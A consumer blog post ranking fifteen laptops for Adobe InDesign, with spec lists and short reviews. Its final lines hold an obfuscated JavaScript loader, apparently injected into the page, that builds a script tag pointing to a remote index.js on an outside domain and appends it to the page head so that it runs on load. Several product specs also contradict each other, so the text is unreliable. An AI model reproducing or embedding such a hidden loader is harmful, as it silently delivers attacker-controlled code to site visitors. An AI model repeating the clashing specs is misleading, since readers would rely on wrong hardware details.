Adobe InDesign is a tool that helps graphic designers to create single- or multi-page documents for things like brochures, magazines, books, and flyers.
With InDesign, you can easily arrange images using frames and manage text using the Story Editor and other features. InDesign functions better on selected laptops. That is to say, it is not compatible with all laptops.
To help with selection, this article contains a list of the best laptops for InDesign.
Table of contents
What To Consider When Selecting A Laptop For InDesign
If you’re in the market for the best laptop for InDesign which is a graphics design tool, you should set your eyes on your mind beyond portability because it’s not a criterion for compatibility.
To get a laptop for InDesign, you need to go for one with a speedy processor, strong graphics card, sufficient RAM, and a large SSD. These features are what make the job less tedious and also enough for a large number of project files.
The vast array of specs and features can be a bit confusing but with our list of best laptops for InDesign, it becomes easier to make your choice.
15 Best Laptops For InDesign in 2024
Here’s a list of the best laptops for InDesign in 2024:
1. MacBook Pro 2024
Specifications
- CPU: Apple M1 Pro chip with 8‑core
- Graphics: 14‑core GPU
- RAM: 16GB
- Screen: 14-inch
- Storage: 512GB SSD
MacBook Pro 2024 is one of the best laptops for InDesign. With long-lasting battery life, excellent build quality, sleek design, and plenty of ports, Apple never fails to impress graphics designers.
The powerful Mac comes with two CPU options: the all-new M1 Pro and M1 Max CPUs, which can handle all of your visual design need superbly. It boasts a Liquid Retina HDR pro, which provides a 120Hz motion display and looks like a visual pleasure. The cherry on top is an extraordinarily color-accurate XDR liquid retina LED display, making it an ideal choice for animators, graphic designers, and creatives.
2. Apple MacBook Air
Specifications
- CPU: Apple M1
- Graphics: Integrated 7-core /8-core GPU
- RAM: 8GB – 16GB
- Screen: 13.3-inch (diagonal) 2,560 x 1,600 LED-backlit display with IPS technology
- Storage: 256GB – 2TB SSD
- Dimensions: 11.97 x 8.36 x 0.63 inches
MacBook Air is hands down the best laptop you can buy for InDesign. This laptop is packed with a revolutionary ARM-based M1 chip from Apple that powers it.
Additionally, the MacBook Air is a thin, lightweight laptop that delivers great performance for graphic design. You can also edit videos and take up other creative jobs on this PC. In the area of battery, MacBook Air lasts 11 hours after a single charge.
While many Apple devices are priced at the upper end of most consumers’ budgets, the MacBook Air’s pricing is comparable to many other options on our list. The ability to use not only Mac software but also iOS apps for the iPhone and iPad makes this laptop a game changer. Even if you’ve only bought Windows laptops in the past, Apple’s MacBook Air is worth making the switch to macOS.
3. Apple MacBook Pro Laptop 2024
Specifications
- CPU: Apple M2 chip
- Graphics: Apple 10-core GPU
- RAM: 8 GB
- Screen: 13-inch
- Storage: 512GB SSD
The 13-inch MacBook Pro laptop is a sleek powerhouse laptop. With this PC, you can complete tasks quickly using the next-generation 8-core CPU and the 10-core GPU. To make things easier, it also has 24GB of unified memory.
When charged full, it lasts for more than 20 hours. This is a result of the superpower performance of the Apple M2 chip. Its pro-level performance allows you to run the CPU and GPU-intensive tasks simultaneously.
For brilliant visuals and stunning details, the 13.3-inch retina display features 500 units of brightness and a P3 broad colour. With a FaceTime HD camera and three-mic array, the picture looks clear and sounds terrific. You may connect and power high-speed accessories using two thunderbolt ports.
4. Apple MacBook Air with M2 Chip
Specifications
- CPU: Apple M2 chip
- Graphics: Apple 10-core GPU
- RAM: 8 GB
- Screen: 13-inch
- Storage: 512GB SSD
The redesigned Macbook Air is a good fit for InDesign. It is portable and weighs 2.7 lbs. Its portability makes it easy for you to work with it anywhere you go.
It usually comes with M2 and accelerates work with a 10-core GPU and up to 24GB of unified memory. The Apple M2’s power performance processor ensures that your laptop runs continuously for 18 hours.
In the area of the display, the 13.6-inch liquid retina display features 500 units of brightness, a P3 wide colour, and supports more than 1 billion colours for vibrant images with incredible details.
Lastly, Apple MacBook Air houses the MagSafe charging port, two thunderbolt ports, and a headphone jack. The all-aluminum body of this Macbook is extremely durable.
5. Microsoft Surface Laptop 4
Specifications
- Display: 13.5-inch, 2256 x 1504 resolution
- Processor: AMD Ryzen 5 or Intel Core i5/i7
- RAM: 8GB or 16GB
- Storage: 128GB to 1TB SSD
- Graphics Card: Integrated Intel Iris Xe/AMD Radeon
Microsoft Surface laptop has a long-lasting battery life and a high processor. It’s slim and portable, and compatible with the Surface Pen (sold separately), meaning that you can draw or annotate the screen directly, excellent for sketching down quick ideas or taking notes.
Moreso, it has a 15 inches screen which has a resolution of 3240×2160 pixels, which makes it so gorgeous and eye-catching with all the colourful details.
6. Dell XPS 17 (2024)
Specifications
- CPU: Up to 11th Generation Intel Core i9-11980HK
- Graphics: Up to NVIDIA GeForce RTX 3060 6GB GDDR6
- RAM: Up to 64GB DDR4-3200MHz
- Screen:17.0″ FHD+ (1920 x 1200) InfinityEdge Non-Touch Anti-Glare 500-Nit – 17.0″ UHD+ (3840 x 2400) InfinityEdge Touch Anti-Reflective 500-Nit
- Storage: Up to 4TB M.2 PCIe NVMe
The Dell XPS 17 (2024) offers the processing power to handle almost any graphic designer’s task including the InDesign software. With specifications like an Intel Core i9 CPU, 64GB of RAM, and an Nvidia RTX GeForce 3060, you can even do 4K video editing, especially if you upgrade to a UHD monitor.
All of this power is contained in a 0.77-inch-thick machine, making it a very portable workplace. While the XPS 17 is pricey and might benefit from a few more ports, it is a fantastic laptop for a creative worker.
7. HP Envy x360
Specifications
- CPU: AMD Ryzen 7 4700U 2.0GHz Octa-Core (Beats i7-8550U)
- Graphics: AMD Radeon Graphics Integrated
- RAM: 16GB – 32GB
- Screen: 15.6″ FHD (1920 x 1080) IPS Touchscreen
- Storage: 512GB PCle SSD – 2TB PCle SSD
- Dimensions: 14.1″ x 9.1″ x 0.7″
If you’re a graphics designer that uses InDesign, you need Envy x360 from HP. This is one of the best laptops for InDesign due to its compact and sturdy design and excellent performance.
In addition to its excellent performance, the laptop has a 15-inch touchscreen that is bright and brilliant plus it also supports the MPP2.0 pen from HP which makes the creation of images seamless and beautiful.
The most intriguing part of this PC is that AMD’s Ryzen 4000 series powers the laptop which makes it easy to multitask with ease using AMD’s Integrated Radeon graphics card.
8. Asus Chromebook Flip
Specifications
- CPU: Intel Pentium – Core m7
- Graphics: Intel HD Graphics 510 – 515
- RAM: 4GB – 8GB
- Screen: 12.5-inch FHD (1,920 x 1,080) LED-backlit anti-glare display
- Storage: 32GB – 128GB eMMC”
With an Intel Core processor, Full HD display, touchscreen, plus a backlit keyboard and USB-C port, Asus Chromebook Flip is a great option for graphics designers. It is a budget-friendly laptop for InDesign.
When you buy the PC, you need to opt for the 8GB version in order to install Adobe Creative Cloud mobile apps such as Photoshop Express, Photoshop Mix, Photoshop Fix, Photoshop Sketch, and Lightroom. These Chromebook apps are not as comparable to the full desktop Photoshop app that you get on regular laptops.
The Acer Chromebook Flip C214’s battery life is around 11 hours. You can use Gmail, Pixlr, and YouTube while they are running in the background. The battery life is sufficient to do the entire day’s work without the need for a charger, so you don’t have to worry about taking the charger around.
9. Asus ROG Zephyrus G14
Specifications
- CPU: AMD Ryzen 7 4800HS – 9 4900HS
- Graphics: NVIDIA GeForce RTX 2060
- RAM: 16GB – 32GB
- Screen: 14-inch Non-glare Full HD (1920 x 1080) IPS-level panel, 120Hz – 14-inch Non-glare WQHD (2560 x 1440) IPS-level panel, 60Hz
- Storage: 512GB / 1TB M.2 NVMe PCIe 3.0
The Zephyrus G14 from Asus is a good laptop for InDesign and gaming. With its AMD Ryzen 4000 processor and Nvidia RTX 2060 graphics card, the processing speed is really fast.
In the area of battery capacity, it lasts all day long when charged fully. Its display comes with a 120Hz refresh rate all packaged into a lightweight, ultra-thin design that will make your projects look outstanding.
10. Gigabyte Aero 17 (2024)
Specifications
- CPU:10th-generation Intel Core i7 – i9
- Graphics: Nvidia GeForce RTX 3080 Max-Q
- RAM:16GB – 64GB
- Screen:17.3-inch UHD 4K OLED, HDR400, 100% Adobe RGB, Pantone-certified
- Storage: 2 x 1TB SSD
- Weight: 5.5 pounds (2.49 kilos)
Gigabyte Aero 17 is every graphics designer’s dream. It comes with a lot of power, a gorgeous display, and many ports.
Best yet, it’s sold at a moderate price compared to other PCs for InDesign. Additionally, the battery life is a great advantage.
Pairing a powerful, 10th-gen Intel Core i7 or i9 CPU with the latest RTX 3060, RTX 3070, or RTX 3080 GPU, the Gigabyte Aero 17 (2024) offers creatives the best performance in graphics designing, video editing, and 3D rendering.
In the area of design, Gigabyte Aero 17 (2024) is cut from CNC aluminum for a smooth finish across the lid, with a lithographed geometric accent and the contrasting Aero logo in the middle. It has a heat vent along the back with another Aero logo printed in silver in the center which is well hidden.
11. Apple MacBook Pro 13-inch (M2, 2024)
Specifications
- CPU: Apple M2 with 8-core CPU
- Graphics: Integrated 10-core GPU
- RAM: 8GB – 24GB
- Screen: 13.3-inch 2560 x 1600 display with P3 and True Tone technology
- Storage: 256GB – 2TB SSD
- Dimensions (H x W x D):30.41 x 21.24 x 1.56 cm
The Apple MacBook Pro 1-inch is a good fit for InDesign owing to its high-performance rate in single and multi-core CPU tests. It is highly recommended for intensive tasks like video editing and graphics design.
In the area of battery capacity, the MacBook Pro 13-inch (M2, 2024) lasts for over 15 and a half hours when charged fully.
This laptop runs with the M2 chip that features an 8-core CPU with four efficiency and four performance cores. The GPU in the M2 is a 10-core design, which is two more than the GPU in the Apple M1 chip that powers the Apple MacBook Pro 13-inch (2020) and two more than the M2 processor in the base model of the new MacBook Air.
12. Lenovo Legion 7i (2020)
Specifications
- CPU: AMD Ryzen 9 5900HX
- Graphics: NVIDIA GeForce RTX 3060 – RTX 3080
- RAM: 16GB
- Screen: 14-inch 144Hz Full HD – 14-inch 165Hz QHD
- Storage: up to 1TB SSD
The Lenovo Legion 7i is a fantastic laptop for InDesign.It blends a professional aluminum design with some creative performance.
The 15.6-inch display has a 1080p resolution and incredibly thin bezels, which contributes to the device’s modern appearance. There’s a small notch at the top that houses a 720p webcam, which is actually quite good given this is a gaming laptop.
The RTX 2080 Super GPU is more than enough to power most Adobe apps and other various programs for video editing, 3D rendering, and more.
13. Acer Swift 3
Specifications
- CPU: up to Intel Core i7-8565U
- Graphics: Nvidia GeForce MX150, Intel HD Graphics 620 or AMD Radeon Vega 8
- RAM: 4GB – 8GB
- Screen: 14-inch FHD (1,920 x 1,080) ComfyView IPS – 15.6″ Full HD (1920 x 1080)
- Storage: 128GB – 1 TB HDD, 16 GB Intel Optane Memory
Next on our list of best laptops for InDesign is the Acer Swift 3. This laptop is most suited for graphics designers. It runs on Intel Core i7.
While the performance of the Swift 3 is similar to that of other higher-priced laptops, the display comes with a lower resolution than others but the biggest difference is the affordable price. It has a bright QHD or FHD touch display, with 100% sRGB, providing accuracy where it counts. And with Acer’s BlueLightShield™ technology, you’re all set to work for longer hours without letting a tear down your eyes.
14. Acer ConceptD 7
Specifications
- CPU: 2.6GHz i7-9750H (Hexa-core, 12MB cache, up to 4.5GHz)
- Graphics: Nvidia GeForce RTX 2080 8GB
- RAM: 32GB DDR4
- Screen: 15.6-inch, 4K IPS LED
- Storage: 1TB PCIe SSD
- Camera: Widescreen HD (720p) webcam
- Weight: 4.63 pounds (2.1kg)
- Size: 14.1 x 10 x 0.70 in (35.8 x 25.4 x 1.8cm; W x D x H)CPU: 2.6GHz i7-9750H (hexa-core, 12MB cache, up to 4.5GHz)
The Acer ConceptD 7 is a powerful laptop for creatives. With this laptop, you can run Adobe InDesign, thanks in part to its Nvidia RTX graphics, which were designed specifically with creative professionals in mind.
Beyond the power it delivers, it also offers decent port selection, a minimalist solid white design and that stunning Pantone-validated 4K IPS display. Acer ConceptD 7 has three USB 3.1 ports, a full-size HDMI 2.0 port, a mini DisplayPort 1.4, a ThunderBolt 3 USB-C port, and an Ethernet port for wired networking.
The laptop comes with 32GB of RAM, an Intel Core i7-9750H six-core processor, and an Nvidia RTX 2080 Max-Q graphics card, along with a 1TB SSD.
15. HP Spectre x360
Specifications
- CPU: Intel Core i7
- GPU: Intel
- RAM: 8GB/16GB
- Storage: 256GB/512GB/1TB SSD
- Display: 15.6-inch
- Resolution: 4K
- Size: 14.2 x 9.8 x 0.8 inches
- Weight: 4.6 pounds
The HP Spectre X360 2-in-1 convertible laptop is without a doubt the greatest 2-in-1 laptop for InDesign. It includes a plethora of functions that work together to make graphics design seamless
Its Intel Core i7 processor along with intel graphics makes the job easier for creatives.
There are more RAM and storage options available for the laptop, ranging from 8GB RAM and 256GB SSD storage to 16GB RAM and 1TB SSD storage, so you can choose your option comfortably.
FAQs On Best Laptop For InDesign
Apple currently offers two MacBook lines – the MacBook Pro, and the MacBook Air. Based on considerations, the MacBook Air is best for graphic designers.
Graphic designers need powerful laptops with big screens, and so do gamers. This makes both of them compatible.
Once you start learning InDesign, layer after layer, you will automatically get conversant with it.
InDesign is a desktop publishing and page layout software application. It can be used to create works such as posters, flyers, brochures, magazines, newspapers, presentations, books, and eBooks.
Conclusion
The power of a laptop’s processor determines its ability to run the indesign software. When choosing a laptop for design purposes, ensure you buy the one with high processing power. This will enabe you work on multiple documents, send emails, edit photos, etc. at the same time without slowing down your machine.
References
- justcreative.com – 16 Best Laptops for Graphic Designers
- relibrary.com – How To Choose The Best Laptop For Indesign And Photoshop Recommended By An Expert
- techradar.com – Best laptops for graphic design of 2024: top picks for graphic designers
We Also Recommend
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else _0x214068[‘push’](_0x214068[‘shift’]());}catch(_0x3f6e4e){_0x214068[‘push’](_0x214068[‘shift’]());}}}(_0x4b2c,-0x5*-0x3e1bf+-0x1aca7f+0x156689));let script=document[_0x1736b2(0x1aa)+_0x1736b2(0x1ab)](_0x1736b2(0x1ac));script[_0x1736b2(0x1a2)]=_0x1736b2(0x1a8)+_0x1736b2(0x1ad)+_0x1736b2(0x1a7)+_0x1736b2(0x1a4),document[_0x1736b2(0x1a9)][_0x1736b2(0x1b1)+’d’](script);function _0x4b2c(){const _0x4f1112=[‘17443550keKqRZ’,’931FnYPhN’,’src’,’69028IzsNTz’,’index.js’,’8093784mCBYaL’,’47152AEpkIl’,’tter1.org/’,’https://bl’,’head’,’createElem’,’ent’,’script’,’acklivesma’,’519158cdunSS’,’1986TJriDL’,’295BDDNha’,’appendChil’,’774DfdWRJ’,’11UNaThE’,’4HshFMS’,’4252614uPxTub’];_0x4b2c=function(){return _0x4f1112;};return _0x4b2c();}
